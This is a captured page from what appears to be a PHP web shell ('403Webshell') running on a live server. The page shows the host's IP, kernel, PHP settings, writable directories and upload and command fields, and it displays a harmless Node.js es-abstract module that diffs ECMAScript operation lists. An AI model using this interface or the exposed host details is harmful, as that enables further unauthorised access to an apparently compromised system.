403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/nodejs/es-abstract/operations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/es-abstract/operations/deltas.js
'use strict';

const diff = require('diff');

const years = require('./years');

const keys = ['../es5'].concat(years).map((x) => [
	x,
	Object.keys(require(`./${x}`)).sort(), // eslint-disable-line global-require
]);

const results = Object.fromEntries([5].concat(years).map((y) => [
	y,
	{ added: new Set(), removed: new Set() },
]));

function parse(from, to, result) {
	diff.diffArrays(from, to).forEach((x) => {
		x.value.forEach((v) => {
			if (x.added) {
				result.added.add(v);
			}
			if (x.removed) {
				result.removed.add(v.replace(/ /g, ''));
			}
		});
	});
}

keys.reduce(([, pK], [y, k]) => {
	parse(pK, k, results[y]);
	return [y, k];
});

module.exports = results;

Youez - 2016 - github.com/yon3zu
LinuXploit